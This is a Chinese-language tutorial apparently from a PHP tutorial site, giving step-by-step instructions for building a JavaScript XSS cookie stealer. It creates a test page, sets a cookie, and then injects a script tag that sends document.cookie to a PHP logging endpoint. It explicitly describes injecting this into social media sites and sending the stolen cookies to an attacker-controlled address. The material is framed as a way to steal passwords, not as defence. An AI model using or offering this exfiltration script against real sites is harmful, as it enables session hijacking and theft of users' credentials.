詳解JS寫XSS cookie stealer來竊取密碼方法-js教程-PHP中文網

詳解JS寫XSS cookie stealer來竊取密碼方法

小云云

發布： 2017-12-18 14:36:29

原創

2078 人瀏覽過

本文主要介紹了JS寫XSS cookie stealer來竊取密碼的步驟詳解,需要的朋友可以參考下，希望能幫助到大家。 JavaScript是web中最常用的腳本開發語言，js可以自動執行網站元件，管理網站內容，在web業內實作其他有用的函數。 JS可以有很多的函數可以用來做惡意用途，包括竊取含有密碼等內容的使用者cookie。

Cookie是網站請求和保持特定造訪頁面的資訊。 Cookie含有存取的方式、時間、使用者名稱密碼等認證資訊等。當使用者造訪給定網站時，必須使用cookie；如果攻擊者可以攔截cookie，就可以利用cookie竊取使用者的一些資訊。對某個特定的域名，使用JS可以儲存或修改使用者的cookie。也就是說，如果攻擊者可以利用JS查看、修改cookie，那麼這可以變成一種有價值的駭客技術。

基於JS的攻擊可以有效地與程式碼注入等技術結合，這可能會造成惡意程式碼在可信任的網站上執行。

下面開始建立XSS Cookie stealer

#Step 1: 建立HTML Test 頁

##首先，建立一個標準的HTML頁

mkdir cookiestealer
cd cookiestealer
touch index.html

登入後複製

#然後，編輯index.html

nano index.html
<html>
<body>
</body>
</html>

登入後複製

測試頁面

Step 2: 建立Cookie

建立一個可以插入到cookie中的基本參數—字串。這個cookie只能用於本頁面中，同樣的，之後的注入也套用於該頁面所儲存的所有cookie。

 <script type="text/javascript">document.cookie = "username=Null Byte";</script>

登入後複製

該腳本要插入到HTML的部分，如下：

##如果執行該腳本的頁面打開了，那麼就會設定cookie，但是瀏覽器中不會顯示任何東西。我們可以用document.write函數直接查看cookie。

document.write(document.cookie);

登入後複製

同樣功能的腳本如下：

 <script type="text/javascript">
 document.cookie = "username=Null Byte";
 document.write(document.cookie);
 </script>

登入後複製

##在瀏覽器中開啟頁面，就會出現如下的cookie訊息：

說明我們成功地為這個頁面設定了"

username=Null Byte" 的cookie 。

Step 3: 用js腳本竊取Cookies

我們用來傳遞cookies到伺服器的js字串使用了document.cookie參數，但是我們用的是document .location中定義的url。

document.location=&#39;http://127.0.0.1/cookiestealer.php?c=&#39;+document.cookie;

登入後複製

在本例中，PHP檔案定位到localhost（127.0.0.1）。

如果目標是社群媒體網站，腳本需要注入到該網站中，竊取的cookies要傳送給駭客控制的IP或URL。

把js程式碼嚇到<script>標籤中：</p><p></p><p><div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:js;"><script type="text/javascript"> document.location=&#39;http://127.0.0.1/cookiestealer.php?c=&#39;+document.cookie; </script>

登入後複製

在index.html 和 cookiestealer.php相同目录下，搭建一个测试用的PHP环境。

打开页面之后，浏览器会马上重定向到预定义的网站，即Google。

查看PHP服务器的日志，我们注意到传递给php文件一个参数，而且php代码执行了。

最后，我们可以检查我们网站目录下的log.txt文件来查看cookies。

Log文件中含有cookie的内容，说明我们成功的使用js代码窃取了cookies。

Cookies含有重要的用户信息，一般是明文的，有时甚至含有私钥信息。所以非常重要，使用js代码注入可以窃取用户的cookies信息。